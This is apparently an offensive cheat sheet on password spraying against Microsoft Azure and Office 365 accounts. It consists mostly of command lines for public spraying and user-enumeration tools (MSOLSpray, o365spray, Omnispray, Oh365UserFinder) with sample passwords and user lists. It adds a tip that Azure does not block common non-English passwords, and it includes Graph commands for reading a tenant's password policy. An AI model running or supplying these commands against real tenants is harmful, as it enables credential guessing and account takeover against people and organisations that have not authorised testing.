password_spraying

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Microsoft changes error codes and responses often, so tools often break. Its important to be tool agnostic

Password Spraying

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Note

Azure does a good job at preventing easy passwords like SeasonYear! and Password123! so it may be a waste of time to spray those. HOWEVER, by default azure does not block common passwords in languages other than english.

MSOLSpray (powershell) https://github.com/dafthack/MSOLSpray

Invoke-MSOLSpray -UserList user.txt -Password "MegaDev79$" -Verbose

CaptainCredz https://github.com/synacktiv/captaincredz

with oh365userfinder https://github.com/dievus/Oh365UserFinder

python3 oh365userfinder.py -p <password> --pwspray --elist <listname>

with o365spray https://github.com/0xZDH/o365spray

o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com

OmniSpray https://github.com/0xZDH/Omnispray

validate users:

python3 omnispray.py --type enum -uf users.txt --module o365_enum_office

Spray:

python3 omnispray.py --type spray -uf users.txt -p 'MegaDev79$' --module o365_spray_msol

If you’re authed, you can retrieve the password policy via graph

Install-Module -Name Microsoft.Graph.Identity.DirectoryManagement -Scope CurrentUser -Force

Import-Module Microsoft.Graph.Identity.DirectoryManagement

get template id

Get-MgGroupSetting

Install-Module Microsoft.Graph.Identity.DirectoryManagement
Get-MgDirectorySetting |where {$_.templateId -eq "5cf42378-d67d-4f36-ba46-e8b86229381d"} |convertto-json -Depth 50